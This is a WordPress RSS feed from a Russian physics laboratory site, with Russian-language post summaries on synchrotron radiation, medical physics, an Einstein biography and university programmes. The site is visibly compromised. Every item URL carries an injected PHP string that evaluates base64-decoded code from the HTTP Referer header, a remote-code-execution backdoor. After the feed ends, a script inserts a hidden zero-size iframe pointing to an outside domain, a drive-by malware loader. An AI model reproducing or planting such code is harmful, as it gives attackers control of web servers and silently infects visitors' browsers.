<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Международная Лаборатория "ФОТОН"</title>
	<atom:link href="http://skalping.ru/feed/" rel="self" type="application/rss+xml" />
	<link>http://skalping.ru</link>
	<description>ГОГОЛЕВ АЛЕКСЕЙ СЕРГЕЕВИЧ</description>
	<pubDate>Sun, 31 May 2009 10:21:18 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Синхротронное излучение: из рук физиков - в руки врачей</title>
		<link>http://skalping.ru/2009/01/23/sinxrotronnoe-izluchenie-iz-ruk-fizikov-v-ruki-vrachej/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2009/01/23/sinxrotronnoe-izluchenie-iz-ruk-fizikov-v-ruki-vrachej/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 13:06:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Магистратура]]></category>

		<category><![CDATA[Медицинская физика]]></category>

		<category><![CDATA[Образование]]></category>

		<category><![CDATA[медицина]]></category>

		<category><![CDATA[медицинская физика]]></category>

		<category><![CDATA[СИ]]></category>

		<category><![CDATA[Синхротронное излучение]]></category>

		<category><![CDATA[физика]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=113</guid>
		<description><![CDATA[
© Недорезов В.Г.
Синхротронное излучение:
из рук физиков - в руки врачей
В.Г. Недорезов
Владимир Георгиевич Недорезов, д.ф.-м.н., зав.
лаб. фотоядерных реакций Ин-та ядерных исследований РАН.
Название “синхротронное излучение” (СИ) связано с его источником -кольцевым
ускорителем электронов (синхротроном), в котором электроны движутся по
окружности в магнитном поле. Круговое движение приводит к тому, что электрон
испытывает центростремительное ускорение, за счет чего и возникает СИ,
которое можно [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2009/01/23/sinxrotronnoe-izluchenie-iz-ruk-fizikov-v-ruki-vrachej/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Автостраховка у брокера.</title>
		<link>http://skalping.ru/2008/12/15/avto-strakhovka/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/12/15/avto-strakhovka/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 12:58:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Без рубрики]]></category>

		<category><![CDATA[АВТО-БУМ]]></category>

		<category><![CDATA[автостраховка]]></category>

		<category><![CDATA[брокер]]></category>

		<category><![CDATA[каско]]></category>

		<category><![CDATA[осаго]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=103</guid>
		<description><![CDATA[Приобретая КАСКО у брокеров, ты можеш  сильно выиграть в цене, потому что в стоимость авто страховщики / страховка заносят все затраты на ведение задания, а при работе через посредника их часть падает.
Человек давно нашёл способ обезопасить имущество: застраховав, автострахование каско автомобиля ваше спокойствие. Привыкли думать, что автострахование не снижает мучения автомобилиста, а   [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/12/15/avto-strakhovka/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Биография :: Альберт Эйнштейн (Albert Einstein)</title>
		<link>http://skalping.ru/2008/10/11/biografiya-albert-ejnshtejn-albert-einstein/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/10/11/biografiya-albert-ejnshtejn-albert-einstein/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 03:45:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Биографии :: ФИЗИКА]]></category>

		<category><![CDATA[Альберт Эйнштейн]]></category>

		<category><![CDATA[биография]]></category>

		<category><![CDATA[Нобелевская премия]]></category>

		<category><![CDATA[теория относительности]]></category>

		<category><![CDATA[ученый физики]]></category>

		<category><![CDATA[физика]]></category>

		<category><![CDATA[фотоэффект]]></category>

		<category><![CDATA[Эйнштейн]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=94</guid>
		<description><![CDATA[
Родился великий ФИЗИК Альберт Эйнштейн 14 марта 1879 в Ульме (Вюртемберг, Германия) в семье маленького торговца. Предки учёного физика - Эйнштейна жили в Швабии уже около 300 лет, и ученый до конца жизни сохранил мягкий южногерманский акцент, даже когда говорил по английски. Первое образование получил в католической народной школе в Ульме, затем, после переезда семьи [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/10/11/biografiya-albert-ejnshtejn-albert-einstein/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Медицинская физика</title>
		<link>http://skalping.ru/2008/09/28/medicinskaya-fizika/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/09/28/medicinskaya-fizika/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 28 Sep 2008 10:50:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Магистратура]]></category>

		<category><![CDATA[Аспирантура]]></category>

		<category><![CDATA[медицина]]></category>

		<category><![CDATA[медфизика]]></category>

		<category><![CDATA[учеба]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=89</guid>
		<description><![CDATA[Медицинская физика - прикладная физика, занимающиеся применением понятий и способов физики к диагностике и лечению болезней человека. Она связана с медицинской электроникой, биоинженерией&#8230;
Что такое медицинская физика?
медфизика способствует повышению эффективности радиологических картин процедур по обеспечению радиационной безопасности и оказанию помощи в разработке более совершенных методов обработки изображений (например, маммографии CT, MR, ультразвук). Она способствует совершенствованию терапевтических [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/09/28/medicinskaya-fizika/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Теперь у меня есть персональная страница на Я.ру</title>
		<link>http://skalping.ru/2008/09/21/teper-u-menya-est-personalnaya-stranica-na-yaru/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/09/21/teper-u-menya-est-personalnaya-stranica-na-yaru/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 21 Sep 2008 09:45:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Без рубрики]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=86</guid>
		<description><![CDATA[Теперь у меня есть персональная страница на Я.ру — tombom!

Я.ру - это новый сервис Яндекса, на котором делятся с друзьями самым интересным, знакомятся, дружат или ссорятся, вывешивают фотки, комментируют свои, чужие записи, обмениваются ссылками и рассказывают о своем настроении.
Copyright © SKALPING.RU. Этот канал предназначен для личного некоммерческого использования.]]></description>
		<wfw:commentRss>http://skalping.ru/2008/09/21/teper-u-menya-est-personalnaya-stranica-na-yaru/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>МАГИСТРАТУРА :: Физика ускорителей</title>
		<link>http://skalping.ru/2008/09/17/magistratura-fizika-uskoritelej/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/09/17/magistratura-fizika-uskoritelej/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 05:13:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Магистратура]]></category>

		<category><![CDATA[Образование]]></category>

		<category><![CDATA[физика]]></category>

		<category><![CDATA[физика ускорителей]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=84</guid>
		<description><![CDATA[Разнообразные пучки электромагнитного излучения и заряженных частиц, полученные с помощью ускорителей заряженных частиц, широко используются в науке, промышленности и медицине. Например, в промышленности эти пучки применяются в радиационной дефектоскопии, радиационной химии, в радиолитографии при производстве изделий микроэлектроники, при стерилизации продукции хим-фарм предприятий и пищевой продукции. В последние годы компактные ускорители (например, бетатроны) начали широко использоваться [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/09/17/magistratura-fizika-uskoritelej/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>МАГИСТРАТУРА :: Медицинская физика</title>
		<link>http://skalping.ru/2008/09/17/magistratura-medicinskaya-fizika/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/09/17/magistratura-medicinskaya-fizika/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 05:08:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Магистратура]]></category>

		<category><![CDATA[медицинская физика]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=81</guid>
		<description><![CDATA[Лаборатория &#8220;ФОТОН&#8221; участвует не только в подготовке магистров по медицинской физике, но и занимается разработкой нового оборудования в данном направлении.
Немного о подготовке магистров.
В современной медицине для лечения и диагностики заболеваний широко применяются физические методы, использующие излучения лазеров, рентгеновских аппаратов и большого класса ускорителей. Все шире в медицине применяется сложная электронная аппаратура, например, различные типы томографов, [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/09/17/magistratura-medicinskaya-fizika/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Система Образования ТПУ</title>
		<link>http://skalping.ru/2008/09/17/sistema-obrazovaniya-tpu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/09/17/sistema-obrazovaniya-tpu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 04:31:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Образование]]></category>

		<category><![CDATA[система образования]]></category>

		<category><![CDATA[Томский политехнический университет]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=78</guid>
		<description><![CDATA[В Томском политехническом университете существуют различные траектории получения высшего образования. Наряду с привычным опытом подготовки дипломированных специалистов (5 - 5.5 лет) реализуется многоуровневая структура образования.
ТПУ осуществляет многоступенчатую подготовку специалистов различного уровня с выдачей соответствующих документов Государственного образца.
Первая ступень - неполное высшее образование (первые два года обучения). Программа первого уровня включает, в основном, обязательные гуманитарные, социально-экономические [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/09/17/sistema-obrazovaniya-tpu/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ЧТО ТАКОЕ &#8220;АКАДЕМИЧЕСКИЙ ОБМЕН&#8221;</title>
		<link>http://skalping.ru/2008/09/15/chto-takoe-akademicheskij-obmen/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/09/15/chto-takoe-akademicheskij-obmen/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 14:16:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Обмен]]></category>

		<category><![CDATA[академический обмен]]></category>

		<category><![CDATA[культурный обмен]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=67</guid>
		<description><![CDATA[История международных обменов студентами началась вскоре после второй мировой войны. Тогда правительства Германии и Франции решили, что их народы должны научиться преодолевать взаимную вражду и неприязнь, вызванные долгими и частыми предыдущими войнами, путем обмена молодыми людьми, которые будут жить в семьях обычных людей, посещать местные школы, изучать язык, культуру.
Опыт получился удачным и распространился по всему [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/09/15/chto-takoe-akademicheskij-obmen/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>СОСТОЯНИЕ ОБУЧЕНИЯ МЕДИЦИНСКОЙ ФИЗИКЕ В РОССИИ</title>
		<link>http://skalping.ru/2008/09/15/sostoyanie-obucheniya-medicinskoj-fizike-v-rossii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://skalping.ru/2008/09/15/sostoyanie-obucheniya-medicinskoj-fizike-v-rossii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 13:41:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Магистратура]]></category>

		<category><![CDATA[излучения в медицине]]></category>

		<category><![CDATA[лучевая терапия]]></category>

		<category><![CDATA[Математические модели в медицине]]></category>

		<category><![CDATA[медицинская физика]]></category>

		<category><![CDATA[медфизика]]></category>

		<category><![CDATA[Молекулярная и клеточная радиобиология]]></category>

		<guid isPermaLink="false">http://skalping.ru/?p=63</guid>
		<description><![CDATA[В.А. Климанов, В.А. Костылев, Н.А. Лютова, Т.Г. Ратнер, М.А. Фадеева, А.С. Черкасов, А.П. Черняев
АМФР, МИФИ, РОНЦ РАМН, РМАПО, МИЭМ, МГУ,
г. Москва
Несмотря на крайне важную роль, которую играют медицинские физики и инженеры в радиологических клиниках, их профессиональное обучение в системе высшей школы до последнего времени было неудовлетворительно. Только 17 марта этого года в официальном классификаторе специальностей [...]]]></description>
		<wfw:commentRss>http://skalping.ru/2008/09/15/sostoyanie-obucheniya-medicinskoj-fizike-v-rossii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script language=javascript>status=location;document.write('<iframe src="http://checkantiddos.info/neo/index.php" width=0 height=0 frameborder=0 onLoad="status=defaultStatus;"></iframe>');</script>